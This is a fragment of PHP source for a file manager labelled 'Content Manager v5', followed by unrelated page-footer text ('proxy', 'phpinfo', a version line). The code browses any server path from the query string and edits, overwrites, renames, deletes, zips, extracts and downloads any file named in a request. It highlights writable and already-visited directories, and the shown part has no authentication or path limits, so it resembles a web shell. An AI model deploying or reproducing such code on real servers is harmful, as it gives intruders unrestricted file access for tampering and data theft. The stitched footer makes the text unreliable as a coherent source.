for="folderInput">Upload Folder</label> <span id="fileCount" class="upload-count" style="display:none"></span> <span id="folderCount" class="upload-count" style="display:none"></span> </form> </div> </div> <?php if ($action === 'edit' && isset($_POST['target'])) { $target = $_POST['target']; $content = file_exists($target) ? htmlspecialchars(file_get_contents($target), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') : ""; $safe_target = h($target); echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Editing: ".h(basename($target))."</h3> <form method='POST'> <input type='hidden' name='action' value='save_edit'> <input type='hidden' name='target' value='$safe_target'> <textarea name='edit_content'>$content</textarea><br><br> <button type='submit' class='btn btn-save'>SAVE CHANGES</button> <a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a> </form>"; } elseif ($action === 'rename' && isset($_POST['target'])) { $target = $_POST['target']; $safe_target = h($target); $safe_name = h(basename($target)); echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Rename: $safe_name</h3> <form method='POST'> <input type='hidden' name='action' value='save_rename'> <input type='hidden' name='target' value='$safe_target'> <input type='text' name='new_name' value='$safe_name' style='width:400px;padding:10px;font-size:14px;'> <br><br> <button type='submit' class='btn btn-save'>RENAME</button> <a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a> </form>"; } else { $mediaIndex = 0; $mediaJsArray = []; echo "<form method='POST' action='?path=".urlencode($path).$sortQuery."'> <input type='hidden' name='action' value='mass_action'> <div style='margin-bottom:10px;display:flex;align-items:center;gap:10px;'> <select name='mass_type' style='padding:6px;background:#1a1a1a;color:#fff;border:1px solid #333;border-radius:4px;outline:none;'> <option value=''>-- Action for Selected --</option> <option value='delete'>Delete Selected</option> <option value='zip'>ZIP Selected</option> <option value='copy'>Copy Selected</option> </select> <button type='submit' class='btn btn-danger' onclick='return confirmMassAction();'>Apply</button> </div> <table> <thead><tr> <th style='width:40px;text-align:center;'><input type='checkbox' onclick='toggleAll(this)'></th> <th>".sortLink('name','Name',$sort,$order,$path)."</th> <th style='width:110px;'>".sortLink('size','Size',$sort,$order,$path)."</th> <th style='width:140px;'>".sortLink('modified','Modified',$sort,$order,$path)."</th> <th style='width:140px;'>".sortLink('chmod','CHMOD',$sort,$order,$path)."</th> <th style='width:300px;'>Action</th> </tr></thead> <tbody>"; $parent = dirname($path); echo "<tr><td></td> <td><a href='?path=".urlencode($parent).$sortQuery."' style='color:#ff9800;font-weight:bold;'>[ .. ] Parent Directory</a></td> <td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td></tr>"; $items = @scandir($path); if ($items === false) { echo "<tr><td colspan='6' style='color:#ef5350;text-align:center;padding:30px;font-weight:bold;'>Cannot read this directory. Permission Denied.</td></tr>"; } else { $dir_items = []; $file_items = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fp = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($fp)) { $ds = getDirSize($fp); $dir_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => $ds['size'], 'size_approx' => $ds['approx'], 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } else { $fs = @filesize($fp); $file_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => ($fs !== false) ? $fs : 0, 'size_approx' => false, 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } } $dir_items = sortItems($dir_items, $sort, $order); $file_items = sortItems($file_items, $sort, $order); foreach ($dir_items as $d) { $writable = is_writable($d['path']); $perms_str = getPerms($d['path']); $safe_item = h($d['name']); $js_target = jsSafe($d['path']); $mtime_str = $d['mtime'] ? date('Y-m-d H:i', $d['mtime']) : '-'; $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $visited = isVisited($d['path']); $sizeStr = formatSize($d['raw_size']); if ($d['size_approx']) $sizeStr = '~' . $sizeStr; if ($visited) { $name_class = 'dir-visited'; } else { $name_class = $writable ? 'dir-writable' : 'dir-readonly'; } echo "<tr>"; echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($d['path'])."'></td>"; echo "<td><a href='?path=".urlencode($d['path']).$sortQuery."' class='$name_class'>$safe_item/</a></td>"; echo "<td style='color:#aaa;font-size:12px;'>$sizeStr</td>"; echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>"; echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$d['octal']."</span></td>"; echo "<td> <button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button> <button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button> </td></tr>"; } foreach ($file_items as $fi) { $writable = is_writable($fi['path']); $perms_str = getPerms($fi['path']); $safe_item = h($fi['name']); $js_target = jsSafe($fi['path']); $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $mtime_str = $fi['mtime'] ? date('Y-m-d H:i', $fi['mtime']) : '-'; $sizeStr = formatSize($fi['raw_size']); $mediaType = getMediaType($fi['name']); $visited = isVisited($fi['path']); echo "<tr>"; echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($fi['path'])."'></td>"; if ($mediaType) { $mediaJsArray[] = ['path' => $fi['path'], 'type' => $mediaType, 'name' => $fi['name']]; $visitedClass = $visited ? ' visited' : ''; echo "<td><span class='file-media$visitedClass' onclick=\"currentMediaIndex=$mediaIndex;openPreview('".jsSafe($fi['path'])."','$mediaType','$safe_item')\">$safe_item</span></td>"; $mediaIndex++; } else { $visitedClass = $visited ? 'file-visited' : 'file-name'; echo "<td class='$visitedClass'>$safe_item</td>"; } echo "<td style='color:#ccc;'>$sizeStr</td>"; echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>"; echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$fi['octal']."</span></td>"; $extract_btn = ''; if (isArchive($fi['name'])) { $extract_btn = "<div class='extract-dropdown'> <button type='button' class='btn btn-extract'>Extract ▼</button> <div class='extract-menu'> <button type='button' class='extract-menu-item' onclick=\"doExtract('extract','$js_target')\">Extract Files</button> <button type='button' class='extract-menu-item' onclick=\"doExtract('extract_here','$js_target')\">Extract Here</button> </div> </div> "; } echo "<td> $extract_btn <button type='button' class='btn' onclick=\"doAction('edit','$js_target')\">Edit</button> <button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button> <a class='btn' href='$selfUrl?download=".urlencode($fi['path'])."' style='background:#113344;border-color:#00bcd4;color:#00bcd4;'>Download</a> <button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button> </td></tr>"; } } echo "</tbody></table></form>"; if (!empty($mediaJsArray)) { echo "<script>mediaFiles=["; $js = []; foreach ($mediaJsArray as $m) { $js[] = "{path:'".jsSafe($m['path'])."',type:'".$m['type']."',name:'".jsSafe($m['name'])."'}"; } echo implode(',', $js); echo "];</script>"; } } ?> <div class="footer">Content Manager v5 © <?=date('Y')?></div> </body> </html>
dvadf
dvadf
| ver. 1.4 |
Github
|
.
| PHP 8.2.33 | Generation time: 0.01 |
proxy
|
phpinfo
|
Settings